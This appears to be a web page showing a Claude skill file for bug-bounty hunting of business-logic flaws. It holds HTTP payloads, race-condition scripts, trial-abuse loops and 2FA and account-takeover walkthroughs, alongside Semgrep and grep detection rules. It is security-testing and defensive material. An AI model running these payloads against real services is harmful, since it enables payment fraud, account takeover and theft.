Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Hunting skill for business-logic vulnerabilities (CWE-840 Business Logic Errors, CWE-841 Improper Enforcement of Behavioral Workflow, CWE-639 Authorization Bypass via User-Controlled Key in business contexts, CWE-362 race conditions on financial flows). Built from 44 corpus reports plus 8.8K shared-platform reports across HackerOne, Bugcrowd, Huntr, GitHub Security Advisories, plus 2024-2026 meta verified against NVD — Lilishop coupon overpurchasing (CVE-2024-50654 CVSS 7.5), WWBN AVideo wallet
.claude/skills/hunt-business-logic/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-16 | ✗→✓ | ▲ Improved | — | — |
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-17 | ✗→✓ | ▲ Improved | — | — |
| case-21 | ✗→✓ | ▲ Improved | — | — |
| case-05 | ✗→✓ | ▲ Improved | — | — |
Business-logic flaws are the highest-creativity-required class in bug bounty — most don't get CVEs because they're application-specific, but they're often the highest-paying single-finding class on commercial SaaS because they map directly to financial loss. The 24-month meta has crystallized around eight asset types. All CVEs below are NVD-verified.
1. Payment / checkout flow manipulation (mid four-figure to mid five-figure on e-commerce / fintech). The "client trusts price/quantity" pattern. CVE-2024-50654 Lilishop coupon overpurchasing (CVSS 7.5 HIGH) — concurrent coupon-collection requests bypass quantity limit. AlegroCart v1.2.9 negative-quantity price manipulation (Andrey Stoykov disclosure SecLists Apr 2025 at https://seclists.org/fulldisclosure/2025/Apr/22) — GET /alegrocart/index.php?...&quantity=-100 produces -100 × $15.99 = -$1,599.00 cart subtotal; checkout flow accepts negative total. Bagisto CMS v2.3.6 cart price manipulation (Rudransh Singh Rajpurohit Sep 2025 at https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969) — modify cart parameter to -1, system subtracts instead of adds, can place order with $0 total. The Bug Bounty Playbook documents this comprehensively at https://bugbounty.info/Attack-Surface/Web/Business-Logic/Price-Manipulation: change 99.99 to -99.99 and watch the app issue you a refund on checkout.
2. Race-condition payment / wallet / coupon (mid five-figure on programs that triage these as critical). The TOCTOU pattern between balance check and balance update. CVE-2026-34368 WWBN AVideo YPTWallet TOCTOU (GHSA-h54m-c522-h6qr) — transferBalance() reads sender's wallet balance, checks sufficiency in PHP, writes new balance — all without database transactions or row-level locking. Concurrent transfers all read same stale balance, each passes check, only one deduction applied while recipient credited multiple times. With $10 balance and N concurrent requests, recipient receives up to $10×N. Aditya Bhatt May 2025 InfoSec writeup (https://medium.com/bugbountywriteup/bug-bounty-race-exploiting-race-conditions-for-infinite-discounts-a2cb2f233804) — applied discount coupon 20× simultaneously via Burp Suite Repeater Parallel Execution, server processed all → cart price reduced to near-zero. Industry precedents: Tesla Bug Bounty 2020 (free vehicle software upgrades via concurrent purchase requests), Uber 2016 (infinite promo credits via race), OpenCart checkout TOCTOU disclosed Dec 2025 by KhanMarshaI (https://gist.github.com/KhanMarshaI/a55f125a55de1c0d4f41e66236027e01) — guest-attacker concurrent checkout creates 3 orders for 1 stock item, inventory drops to -2.
3. 2FA / MFA bypass via auxiliary flow (low five-figure on programs that pay this class). Multi-factor auth bypassed because the "skip" path or alternate-flow doesn't enforce the second factor. CVE-2025-3910 Keycloak 2FA bypass (GHSA-5jfq-x6xp-7rw2, CVSS 5.4) — org.keycloak.authorization package allows users to circumvent required actions including 2FA setup. Affects Keycloak 26.0 through 26.0.10. 2FA Bypass via Reset Password (KhaledAhmed107 Jan 2026 at https://systemweakness.com/2fa-bypass-via-reset-password-daba828b10f3, Bugcrowd VRT P3) — enable 2FA with Google Authenticator → log out → password reset flow shows "Skip" option for 2FA verification → bypassed. Samsung Account 2FA bypass (Gregory Greekas 2024 at https://www.hackingadventures.ca/posts/samsung-2fa-bypass) — 2FA request API discloses victim's IMEI to anyone with username; deviceUniqueId derived deterministically from IMEI; attacker computes expected deviceUniqueId, includes in auth request, bypasses 2FA on Samsung Account globally. Samsung patched Dec 2024. Pre-Account Takeover via SSO migration (Giongnef Jan 2024 at https://giongfnef.medium.com/business-logic-bypass-2fa-to-ato-e0dc7131b10e) — pre-register victim@companyA.com in Store DB, use Migrate function to transfer to SSO DB, wait for victim to register; attacker still has access to all resources after victim signs up.
4. Free-trial / subscription abuse (mid four-figure on SaaS programs that pay this class — many don't). Doppler free-trial reset (Aditya Sunny Dec 2024 at https://adityasunny06.medium.com/how-i-identified-a-revenue-loss-bug-in-dopplers-free-trial-system-b88919aa161f) — disclosed Nov 14 2024 to Doppler — sign up → activate 14-day trial → cancel → switch to free Developer Mode → revert to paid Team Mode → premium features regranted indefinitely. Email-alias unlimited trial abuse (Mahmoud Magdy Dec 2025 at https://medium.com/@mahmoudmagdy45456/violation-of-secure-design-principles-unlimited-free-trial-abuse-via-email-aliases-3de0756eb58c) — register user+a1@gmail.com, user+a2@gmail.com, etc.; all deliver to same inbox but app treats each as new user. Stripe hasEverTrialed bypass (better-auth issue #6863 Dec 2025 at https://github.com/better-auth/better-auth/issues/6863) — findOne returns whichever subscription DB returns first; if it's a new incomplete subscription, hasEverTrialed returns false — user trials again on Stripe. HackerOne 2024 H1 high "Premium Trial Subscription Upgrade and Claim Offer" — total price reduced via promo logic.
5. Coupon stacking / discount abuse (low to mid four-figure on most e-commerce; mid four-figure on race-chained variants). Apply same coupon multiple times, apply multiple distinct coupons when only one allowed, change discount-application order. Aditya Bhatt May 2025 (above) — coupon applied 20× via parallel race; cart value = jacket price - (discount × 20). Unlimited Reuse of Coupon Code Allows Free Shipping (H1 2026 low) — coupon validation lacks usage tracking. Bug Bounty Playbook: stack aggressively until you hit the cap; check if cap logic is bypassable.
6. OTP / phone-number manipulation flows (mid four-figure to low five-figure on programs that triage as ATO). Change Phone Number OTP Flaw → Any Phone Number Takeover (H1 2024 critical disclosed) — change-phone flow doesn't verify ownership of the new number, just sends OTP to it; attacker can change victim's phone via crafted request. The pattern: phone-change API accepts new phone number from request body, sends OTP only to the new (attacker-controlled) number, attacker confirms with their own OTP, victim loses account access.
7. Role / scope / tier escalation via business-logic bypass (mid four-figure on multi-tier SaaS). OpenClaw WebSocket shared-auth elevated scopes (GHSA, 2026 critical) — WebSocket connections share auth context across users; client can self-declare elevated scopes. Business Logic Bypass: Setting "Read Access" Role Without Pro Plan Subscription (H1 2026 medium) — role-assignment API doesn't check subscription tier. Authorization Bypass in Starknet Snap via enableAuthorize parameter (H1 2026 medium) — toggle parameter bypasses authorization check. CVE-2026-30956 OneUptime, CVE-2026-32131 Zitadel, and CVE-2025-64431 Zitadel V2Beta are the 2025-2026 tenant/scope-control analogs: client-controlled tenant context or insufficient org scoping turns a normal user into cross-tenant admin. CVE-2024-21632 nOAuth and CVE-2025-55241 Entra actor-token impersonation are identity-logic variants: the app trusts the wrong claim, wrong tenant, or wrong actor.
8. Workflow-step skipping (mid three-figure to low four-figure direct, mid four-figure when chained). Multi-step flows where step N can be skipped via direct API call. Business Logic error leads to bypass 2FA requirement (H1 2024 high) — direct API call to step N+1 bypasses step N. Create account without auth via response manipulation (H1 2026 low) — modify the success response in transit, app redirects to authenticated state. Customer can cancel individual booking in a batch causing partner lock (H1 2025 medium) — atomicity violation.
Industry-specific: automotive PII chains (Sam Curry pattern — high four-figure to mid five-figure on automaker programs). Sam Curry's 2024 Kia disclosure (samcurry.net/hacking-kia) and 2023 auto-industry-wide disclosure (samcurry.net/web-hackers-vs-the-auto-industry) chain business-logic flaws (channel header tier escalation) with IDOR/auth-bypass for vehicle-PII access and remote control. The pattern repeats: dealer-portal vs customer-portal share backend; channel header determines tier; flip the header to escalate.
Industry-specific: financial / fintech programs. Bug bounty on Stripe, PayPal, Venmo, Cash App tend to pay top-tier for race conditions on transfers, multi-currency conversion abuse, ledger-consistency violations. Reference better-auth issue #6863 (Dec 2025) for one disclosed Stripe-related case.
What pays the most: wallet / payment double-spend via race condition (mid five-figure on financial programs — WWBN AVideo CVE-2026-34368 pattern). 2FA bypass enabling full ATO on programs that triage as critical (low five-figure — Samsung pattern, Keycloak CVE-2025-3910). Negative-quantity / negative-price → free order or refund (mid four-figure on e-commerce — AlegroCart, Bagisto patterns). Free-trial unlimited abuse (mid four-figure on programs that pay this class; many don't — Doppler pattern). Coupon stacking via race (mid four-figure — Aditya Bhatt 2025 pattern). OTP-flow manipulation enabling phone takeover (low to mid five-figure on programs that triage as ATO — H1 2024 disclosed pattern).
Greppable signals on a target codebase or live target indicating business-logic surface:
bash# Price/quantity fields trusted from client (negative-value / overflow vulnerable) rg -n -e 'request\.body\.(price|quantity|amount|total)' \ -e 'req\.body\.(price|quantity|amount|total)' \ -e '\$_(POST|GET)\[.(price|quantity|amount|total).\]' \ --type js --type ts --type py --type php --type java # Discount/coupon application without usage tracking rg -n -e 'apply.*coupon' -e 'redeem.*code' -e 'discount\.apply' \ --type js --type ts --type py --type ruby --type java # TOCTOU patterns — read-then-write without transaction/lock rg -n -B 2 -A 10 -e 'getBalance\(\)|wallet\.balance' \ --type js --type ts --type py --type php | rg -B 5 -A 5 'updateBalance|setBalance|wallet\.update' # 2FA bypass via skip option (KhaledAhmed107 Jan 2026 pattern) rg -n -e 'skip.*2fa' -e 'skip.*mfa' -e 'bypass.*otp' \ --type js --type ts --type py # Subscription state transitions without payment validation rg -n -e 'plan\.upgrade' -e 'tier\.set' -e 'subscription\.status\s*=' \ --type js --type ts --type py --type java # Email canonicalization missing (Mahmoud Magdy Dec 2025 alias-abuse pattern) rg -n -e 'email.*toLowerCase' -e 'email.*strip' -e 'normalizeEmail' \ --type js --type ts --type py | head # Race-prone endpoints (state mutations without locking) rg -n -B 2 -A 8 -e 'def transfer' -e 'function transfer' \ --type py --type js --type ts | rg -v 'BEGIN|FOR UPDATE|lock|mutex|atomic' # OTP / phone change flow without ownership verification rg -n -e 'change.*phone' -e 'update.*phone' -e 'verify.*phone' \ --type js --type ts --type py | head # Promo / referral abuse surface rg -n -e 'referral\.create' -e 'promo\.apply' -e 'invite\.send' \ --type js --type ts --type py # Idempotency / replay controls missing on state-changing money flows rg -n -e 'Idempotency-Key' -e 'idempotency' -e 'dedupe' \ --type js --type ts --type py --type java # Client-controlled tenant / tier / channel dispatch rg -n -e 'req\.headers\[(.x-tenant|.tenant|.channel|.tier)' \ -e 'headers\.(tenant|channel|tier|project)' \ --type js --type ts --type py --type java # Final-state gates that trust a previous step flag rg -n -e 'email_verified' -e 'mfa_verified' -e 'payment_verified' \ -e 'workflow_step' -e 'completed_steps' \ --type js --type ts --type py --type java
HTTP-level signals on a live target:
quantity, price, total in request body — price-manipulation surface (AlegroCart, Bagisto patterns)Idempotency-Key header support, no 409 on concurrent-test) — TOCTOU surface (WWBN AVideo CVE-2026-34368)hasEverTrialed better-auth #6863)user+alias@gmail.com as distinct from user@gmail.com — trial-abuse via alias (Mahmoud Magdy Dec 2025)channel: customer vs channel: dealer) — automotive-style escalation surface (Sam Curry 2024 Kia)Every place business-logic state can be manipulated:
/orders/{id}/cancel (atomicity violation), /users/{id}/upgrade (tier escalation)?quantity=-1 (AlegroCart), ?coupon=...&coupon=... (multi-coupon)price, quantity, total, tax, discount, currency, tier, role, subscription_status, trial_started_at, is_paid (mass-assignment cross-reference: see hunt-idor)Idempotency-Key (or its absence — race-condition surface), Channel: (tier dispatch — Sam Curry Kia), X-Tenant-Id: (cross-tenant — see hunt-idor), X-Subscription-Tier: (custom tier override)tier, roles[], subscription, trial_status. Modify if signature isn't verified (cross-reference hunt-idor JWT swap).tier_cookie, subscription_state, referral_code set by client; modify if not signed.user+a1@gmail.com, user+a2@gmail.com, user.dot.variant@gmail.com, user@googlemail.com vs @gmail.com — same inbox, different "users" to the app.created_at in past via request body to backdate trial start; use timezone difference to extend trial.quantity=-1, amount=-100, discount=-50 (negative discount = surcharge in attacker's favor on broken logic).price=0, quantity=0 — what does "free" mean to the app's business rules?quantity=2147483648 overflows int32 to negative.0.1 + 0.2 = 0.30000000000000004; submit values that exploit IEEE-754 rounding.For each surface, send: negative values, zero, max-int, unicode-confusable email aliases, concurrent identical requests via Burp Repeater parallel execution, modified state transitions skipping intermediate steps, modified JWT claims if signature is weak.
price, quantity, discount, tier, tax, total, currency, coupon field locations. The bigger the flow, the more business-logic surface.quantity=-100 → negative cart total → app accepts. Bagisto pattern: cart parameter -1 → subtracts instead of adds. Test 0, -1, 0.0001, 2147483648 (int32 overflow), 999999999999999. Bug Bounty Playbook canonical: change 99.99 to -99.99 and watch app issue refund.total: 0 or total: 0.01. If the server processes the order without recalculating the total server-side from cart items + tax + shipping + discount, that's the bug. Hunt with Burp's Match-and-Replace to auto-modify these fields.user+a1@gmail.com, user+a2@gmail.com — register N times. Stripe hasEverTrialed better-auth #6863: when user has multiple subscription records, check uses wrong query.user@victim-company.com directly before victim signs up via SSO. Giongnef Jan 2024 pattern: post-SSO-signup, attacker still has access via pre-registered direct account.http# AlegroCart 1.2.9 disclosure (Andrey Stoykov, SecLists Apr 2025) # Reference: https://seclists.org/fulldisclosure/2025/Apr/22 GET /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100 HTTP/1.1 Host: target # Response: cart subtotal = -$1,599.00 (system computed -100 × $15.99) # Reference: AlegroCart 1.2.9 disclosed at https://seclists.org/fulldisclosure/2025/Apr/22 # Then proceed to checkout — system accepts negative total
json// Bagisto v2.3.6 cart price manipulation (Rudransh Singh Rajpurohit Sep 2025) // Reference: https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969 PATCH /api/cart/items/<item-id> { "quantity": -1 } // System subtracts $500 from cart total instead of adding // Place order — accepted with $0 or negative total // Disclosed by @rudranshsinghrajpurohit at https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969
json// Generic negative-fields test set {"quantity": -1} {"quantity": -100} {"price": -99.99} {"amount": -1000} {"discount": -50} // negative discount = surcharge in attacker's favor {"tax": -10} // negative tax {"shipping": -5} // negative shipping {"total": 0} // explicit zero total {"total": 0.01} // minimum charge {"refund_amount": 999999} // refund larger than original payment
http# Apply same coupon repeatedly POST /api/cart/coupon HTTP/1.1 {"code": "SAVE20"} POST /api/cart/coupon HTTP/1.1 {"code": "SAVE20"} # same code again — does it stack? POST /api/cart/coupon HTTP/1.1 {"code": "SAVE20"} # third time # Apply multiple distinct coupons when UI shows only one allowed POST /api/cart/coupon {"code": "SAVE20"} POST /api/cart/coupon {"code": "FREESHIP"} POST /api/cart/coupon {"code": "BLACKFRIDAY"} # Reorder discount application (changes calculated total when % vs fixed) POST /api/cart/coupon {"code": "FIXED10"} # apply $10 off first POST /api/cart/coupon {"code": "PERCENT20"} # then 20% off — applies to discounted-price # vs POST /api/cart/coupon {"code": "PERCENT20"} # 20% off first POST /api/cart/coupon {"code": "FIXED10"} # then $10 off — applies to original-price
# Aditya Bhatt May 2025 InfoSec writeup pattern
# Burp Suite Repeater → duplicate request 20× → group into tab group → "Send group in parallel"
POST /cart/coupon HTTP/1.1
Host: target
Cookie: session=<your-session>
Content-Type: application/json
{"code": "JACKET50OFF"}
# 20 parallel requests → server processes all → 20 discount applications
# Cart value = jacket_price - (discount × 20)python# Python aiohttp version for higher concurrency import asyncio, aiohttp async def apply_coupon(session): async with session.post( 'https://target/cart/coupon', json={'code': 'JACKET50OFF'}, cookies={'session': '<your-session>'}, ) as resp: return resp.status async def main(): async with aiohttp.ClientSession() as session: tasks = [apply_coupon(session) for _ in range(50)] results = await asyncio.gather(*tasks) print(f"Successes: {sum(1 for r in results if r == 200)}") asyncio.run(main())
python# WWBN AVideo CVE-2026-34368 wallet TOCTOU pattern # transferBalance() reads → checks → writes without locking # Multiple PHPSESSID-bearing concurrent transfer requests all read same stale balance import requests, threading def transfer(): requests.post('https://target/plugin/YPTWallet/transfer', cookies={ 'PHPSESSID': '<your-session>', }, json={'recipient': '<victim-id>', 'amount': 10}) threads = [threading.Thread(target=transfer) for _ in range(20)] for t in threads: t.start() for t in threads: t.join() # All 20 read sender_balance=10, all pass check, only 1 deduction effective, # recipient credited 20× = $200 from $10 balance # Reference: GHSA-h54m-c522-h6qr / CVE-2026-34368 (WWBN AVideo wallet TOCTOU disclosed 2026)
http# OpenCart checkout race (KhanMarshaI Dec 2025 gist) # Concurrent guest-checkout on inventory of 1 → creates 3 orders, stock = -2 POST /checkout/checkout HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded product_id=42&quantity=1&payment_method=cod # 3 parallel requests via Burp Repeater Parallel Execution
# KhaledAhmed107 Jan 2026 — 2FA bypass via password reset
1. Create account, log in, enable 2FA via Google Authenticator
2. Log out
3. Navigate to Reset Password page
4. Open password reset link from email
5. When prompted for 2FA code, observe "Skip" option
6. Click Skip → set new password → redirected to dashboard, no 2FA required
# Pattern repeats across SaaS programs — always test password reset for 2FA enforcement
# Keycloak CVE-2025-3910 (GHSA-5jfq-x6xp-7rw2)
# org.keycloak.authorization circumvents required actions including 2FA setup
# Affects 26.0 through 26.0.10
# Fix: upgrade to 26.2.2+
# Samsung Account 2FA bypass (Gregory Greekas 2024)
# 2FA request API returned victim's IMEI to anyone with username
# Compute deviceUniqueId from IMEI (deterministic transformation)
# Submit auth request with computed deviceUniqueId → 2FA bypassed
# Patched Dec 2024bash# Generic 2FA bypass test set for any account # Test each path: curl -X POST https://target/api/login -d '{"email":"...","password":"..."}' # without 2FA token curl -X POST https://target/oauth/authorize -d '...' # OAuth flow curl -X POST https://target/api/auth/refresh -d '...' # token refresh curl -X POST https://target/api/password-reset -d '...' # password reset curl -X POST https://target/api/auth/sso -d '...' # SSO bypass curl -X POST https://target/api/auth/recovery -d '...' # recovery flow curl -X POST https://target/mobile/auth -d '...' # mobile app auth # Any path that lands you authenticated without 2FA → bypass
# Doppler pattern (Aditya Sunny Dec 2024)
1. Sign up for new account
2. Activate 14-day free trial (premium features)
3. Cancel trial early → switch to free Developer Mode
4. Use developer tools to switch back to paid Team Mode
5. Premium features regranted indefinitely without payment
# Email-alias unlimited trial (Mahmoud Magdy Dec 2025)
# Gmail aliases: user+anything@gmail.com all deliver to user@gmail.com
# Most apps treat as distinct registrations
for i in $(seq 1 100); do
curl -X POST https://target/api/signup -d "{
\"email\":\"user+trial$i@gmail.com\",
\"password\":\"Test123!\"
}"
done
# 100 trials, 1 mailbox
# Gmail dot variants (also same inbox)
user@gmail.com
u.ser@gmail.com
us.er@gmail.com
u.s.er@gmail.com
# All deliver to user@gmail.com but app sees as distinct
# @googlemail.com vs @gmail.com — same Google inbox
user@gmail.com
user@googlemail.com
# Stripe hasEverTrialed bypass (better-auth #6863 Dec 2025)
# Trigger condition: user has multiple subscription records (one canceled with trial history,
# one new incomplete). findOne returns whichever DB returns first; if it's the new
# incomplete one, hasEverTrialed returns false → trial granted again# H1 2024 critical: Change phone number OTP flaw → any phone takeover
# Vulnerable flow: change-phone API sends OTP only to NEW number
POST /api/account/change-phone HTTP/1.1
Authorization: Bearer <victim-session-or-stolen-token>
{"new_phone": "+15555550100"} # attacker-controlled number
# Server sends OTP to +15555550100 (attacker)
# Attacker submits OTP → victim's account now has attacker phone
# Reset password via SMS OTP → ATO
# Secure version requires OTP from BOTH old (+1victim) and new (+1attacker) numbers
# Email change variant
POST /api/account/change-email HTTP/1.1
{"new_email": "attacker@evil.com"}
# Server sends verification email only to attacker@evil.com
# Attacker confirms → victim's email is now attacker's → password reset → ATO# Multi-step KYC flow: signup → email-verify → phone-verify → KYC → activated
# Try direct API call to "activated" state
POST /api/users/activate # without completing email-verify, phone-verify, KYC
{"user_id": "<your-id>"}
# OR: response manipulation — intercept the "step 3 success" response, modify
# to indicate step 4 success, app redirects to authenticated state
# H1 2026 low: Create account without auth via response manipulation
# Submit signup with invalid OTP → modify response body in transit to {"success":true}
# App redirects to authenticated dashboard
# H1 2024 high: Business Logic error → bypass 2FA requirement
# Step 1: login with username/password → server responds {"requires_2fa": true, "challenge_id": "..."}
# Step 2: skip 2FA submission, go directly to /api/me — server returns user data because session cookie is set after step 1# Giongnef Jan 2024 pattern (https://giongfnef.medium.com/business-logic-bypass-2fa-to-ato-e0dc7131b10e)
# Target supports both direct-login and SSO; sso_type:null defaults to direct-login
# Step 1: Attacker pre-registers victim's corporate email in Store DB
POST /api/signup
{
"email": "victim@companyA.com", # victim hasn't signed up yet
"password": "Attacker123!",
"sso_type": null # direct-login mode
}
# Step 2: Attacker logs in, uses "Migrate" function to transfer to SSO DB
POST /api/sso/migrate
Authorization: Bearer <attacker-session>
# Step 3: Wait for victim to register at sso.companyA.com (legitimate flow)
# Victim enters Google SSO with victim@companyA.com — succeeds because account already exists in SSO
# Step 4: Attacker still has direct-login access to victim's account because
# the password set in Step 1 is still valid for the migrated SSO account
# Result: persistent ATO that survives victim's "secure" SSO signup
# Generic test: any time a SaaS supports both direct-login AND SSO/OAuth,
# pre-register every interesting email-domain you can find before the legitimate
# user signs up.# Currency switch mid-flow
1. Add product priced $100.00 (USD) to cart
2. Switch site currency to JPY → cart shows ¥10,000 (100 USD × 100 JPY/USD rate)
3. Switch back to USD → if app converts ¥10,000 ÷ rate but uses STALE rate or different rate,
USD price differs from original → exploit difference
4. Some apps round in attacker's favor; others round in app's favor — test both directions
# Timezone-based trial extension
# Trial starts at 2024-01-01 00:00 (server local time, UTC)
# User in UTC+14 → claims trial start of 2024-01-01 00:00 UTC+14 = 2023-12-31 10:00 UTC
# If server compares trial duration in user's timezone, can extend trial by ~24h × number-of-resets
# Floating-point precision exploitation
# IEEE-754 64-bit floats can't represent 0.1 exactly
# 0.1 + 0.2 = 0.30000000000000004 (NOT 0.3)
# Submit price: 0.1 ten times → expected $1.00 → actual $0.9999999999999999
# Multi-step accumulator may round to $0.99 in attacker's favor
# Integer overflow on quantity (int32 = 2^31 - 1 = 2147483647)
{"quantity": 2147483648} # overflows to -2147483648 in 32-bit int
# Then quantity × price = negative total → free order# OpenClaw 2026 critical: WebSocket shared-auth elevated scopes
ws = new WebSocket('wss://target/ws')
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'auth',
token: '<low-priv-token>',
scopes: ['admin', 'billing', 'read', 'write'] # self-declared elevated scopes
}))
}
# Server accepts client-declared scopes without re-validation
# H1 2026 medium: Set "Read Access" Role Without Pro Plan Subscription
POST /api/roles/assign
Authorization: Bearer <free-tier-token>
{
"role": "ReadAccess", # premium-only role
"user_id": "<your-id>"
}
# Server doesn't check subscription tier before assigning role
# Starknet Snap enableAuthorize bypass (H1 2026 medium)
POST /api/wallet/sign
{
"transaction": "...",
"enableAuthorize": false # toggle off authorization check
}
# Server respects client-supplied enableAuthorize parameter
# Generic mass-assignment for tier escalation (cross-reference hunt-idor Sub-technique G)
PATCH /api/users/me
{
"subscription_tier": "enterprise",
"is_paid": true,
"trial_ends_at": "2099-12-31",
"credits": 999999,
"permissions": ["admin", "billing", "delete_users"]
}
# Verify via subsequent GET; many APIs hide changes in response but persist in DBWhen the bug fires asynchronously (background job processes the manipulated state), use Burp Collaborator / interact.sh to confirm execution timing. For race-condition findings, use timing-side-channel measurements via OAST DNS to verify when the second instance of the request landed.
yamlrules: - id: bizlogic-trust-client-price pattern-either: - pattern: | $TOTAL = $REQ.body.total - pattern: | $TOTAL = $REQ.body.price - pattern: | $ORDER.total = $REQ.body.amount message: | Order total / price computed from client request body. Negative-quantity and price-manipulation attacks (AlegroCart 1.2.9 SecLists Apr 2025, Bagisto v2.3.6) bypass this. Recalculate server-side from cart items + tax + shipping + discount; never trust client-supplied totals. severity: ERROR languages: [javascript, typescript, python, php, java]
yamlrules: - id: bizlogic-no-quantity-validation pattern-either: - pattern: | quantity * price - pattern: | $QTY * $PRICE pattern-not-inside: | if ($QTY > 0) { ... } message: | Multiplication of quantity × price without sign / range validation. Negative quantity produces negative total — app may issue refund. Validate: assert quantity > 0 and quantity < MAX_REASONABLE_QTY and Number.isInteger(quantity). severity: ERROR languages: [javascript, typescript]
yamlrules: - id: bizlogic-toctou-balance-check pattern: | $BALANCE = $WALLET.getBalance() ... if ($BALANCE >= $AMOUNT) { ... $WALLET.deduct($AMOUNT) } message: | Read-check-write on wallet balance without database transaction or row-level locking. WWBN AVideo CVE-2026-34368 (GHSA-h54m-c522-h6qr) pattern: concurrent transfers all pass check, only one deduction effective. Wrap in BEGIN/COMMIT with SELECT ... FOR UPDATE on wallet row, OR use atomic UPDATE with WHERE balance >= amount. severity: ERROR languages: [php, python, javascript, typescript, java]
yamlrules: - id: bizlogic-coupon-no-usage-counter pattern: | $COUPON = $DB.find_coupon($CODE) if ($COUPON.valid) { $CART.apply_discount($COUPON.amount) } pattern-not-inside: | $COUPON.usage_count++ $DB.update_coupon($COUPON) message: | Coupon application without usage-counter increment. Lilishop CVE-2024-50654 (CVSS 7.5) and Aditya Bhatt May 2025 InfoSec writeup pattern: stack same coupon N times via concurrent requests. Add atomic UPDATE coupons SET usage_count = usage_count + 1 WHERE code = $CODE AND usage_count < max_usage RETURNING *. severity: ERROR languages: [python, javascript, ruby, java]
yamlrules: - id: bizlogic-2fa-skip-path pattern-either: - pattern-regex: 'skip[-_]?2fa|bypass[-_]?(?:2fa|mfa|otp)' - pattern: | if ($CONTEXT == "password_reset") { // skip 2FA } message: | 2FA skip / bypass path detected. KhaledAhmed107 Jan 2026 disclosure: password reset flow with "Skip" 2FA option enables full ATO. Keycloak CVE-2025-3910 / GHSA-5jfq-x6xp-7rw2: org.keycloak.authorization package circumvents required actions including 2FA. Audit every flow that can authenticate a user — password reset, OAuth, recovery, mobile app login, API tokens — to enforce 2FA consistently. severity: ERROR languages: [python, javascript, typescript, java]
yamlrules: - id: bizlogic-trial-state-no-history-check pattern-either: - pattern: | $SUB = $DB.subscription.findOne({user_id: $UID}) if (!$SUB.has_trialed) { grant_trial() } - pattern: | $SUB = $DB.subscriptions.first(user=$UID) if not $SUB.has_trialed: grant_trial() message: | Trial-history check uses findOne / .first which returns whichever record DB orders first. better-auth #6863 (Dec 2025) Stripe pattern: user with multiple subscriptions (one canceled with trial history, one new incomplete) bypasses check. Use findMany + .some() to check ALL subscriptions for trial history. severity: ERROR languages: [javascript, typescript, python]
yamlrules: - id: bizlogic-email-no-canonicalization pattern: | $USER.email = $REQ.body.email pattern-not-inside: | $REQ.body.email = canonicalize_email($REQ.body.email) message: | Email stored without canonicalization. Mahmoud Magdy Dec 2025 pattern: user+a1@gmail.com, user+a2@gmail.com, user.dot@gmail.com, user@googlemail.com all deliver to same inbox but treated as distinct registrations enabling unlimited free-trial abuse. Strip +alias tags, strip dots in local-part for Gmail, normalize @googlemail.com to @gmail.com, lowercase entire email, enforce uniqueness on canonical form. severity: WARNING languages: [python, javascript, typescript, java, php, ruby]
yamlrules: - id: bizlogic-phone-change-no-old-verify pattern: | def change_phone($USER, $NEW_PHONE): $OTP = generate_otp() send_sms($NEW_PHONE, $OTP) pattern-not-inside: | send_sms($USER.current_phone, $OLD_OTP) verify_otp($USER, $OLD_OTP) message: | Phone-change flow sends OTP only to NEW number, not also requiring verification from CURRENT number. H1 2024 critical: any phone takeover via this exact pattern. Always require OTP from BOTH old and new numbers (or use signed action token from authenticated session). severity: ERROR languages: [python, javascript, typescript, ruby, php, java]
bash# Client-supplied price/total (price manipulation surface) ast-grep --pattern '$TOTAL = req.body.total' --lang js ast-grep --pattern 'order.total = $REQ.body.amount' --lang js # Multiplication without validation ast-grep --pattern '$QTY * $PRICE' --lang js ast-grep --pattern '$QTY * $PRICE' --lang python # Read-check-write without transaction ast-grep --pattern 'getBalance(); checkBalance(); deduct()' --lang js ast-grep --pattern '$.balance -= $AMOUNT' --lang js # Coupon-apply without atomic increment ast-grep --pattern 'coupon.apply($CODE)' --lang js ast-grep --pattern '$CART.apply_discount($COUPON.amount)' --lang js # 2FA skip ast-grep --pattern 'if ($CTX == "password_reset") return true' --lang js # findOne for subscription (Stripe pattern) ast-grep --pattern '$DB.subscription.findOne($X)' --lang js ast-grep --pattern 'Subscription.objects.get(user=$U)' --lang python
bash# Client-trust patterns (price/quantity/total from request) rg -n -e 'req\.body\.(total|price|amount|quantity|tax|discount)' \ -e 'request\.body\.(total|price|amount)' \ --type js --type ts --type py --type java # Negative-value validation missing rg -n -B 2 -A 5 'quantity\s*\*\s*price|price\s*\*\s*quantity' \ --type js --type ts --type py | rg -v '> 0|>= 0|isInteger|valid' # TOCTOU patterns — read then write without lock rg -n -B 5 -A 15 'getBalance\(\)|wallet\.balance' \ --type js --type ts --type py --type php --type java | \ rg -B 8 -A 8 'updateBalance|setBalance|wallet\.update' | \ rg -v 'BEGIN|FOR UPDATE|lock|mutex|atomic|SERIALIZABLE' # 2FA skip / bypass paths rg -n -i -e 'skip.*2fa' -e 'skip.*mfa' -e 'bypass.*otp' \ -e 'password.*reset.*skip' \ --type js --type ts --type py --type java # Email canonicalization missing rg -n -e 'user\.email\s*=\s*req\.body\.email' \ --type js --type ts --type py | rg -v 'normalize|canonical|strip|lower' # Subscription / tier mass-assignment rg -n '\.\.\.req\.body|\.\.\.body|spread.*body' \ --type js --type ts | rg -B 2 -A 2 'subscription|tier|role|plan' # Coupon usage counter missing rg -n -B 3 -A 10 'coupon\.apply|apply.*discount' \ --type js --type ts --type py | rg -v 'usage_count|usageCount|increment' # Phone change endpoint rg -n -B 2 -A 15 'change.*phone|update.*phone' \ --type js --type ts --type py | rg -B 5 -A 5 'send.*sms|sendOtp'
CodeQL has limited built-in business-logic queries because most business-logic flaws are application-specific. The most relevant standard queries:
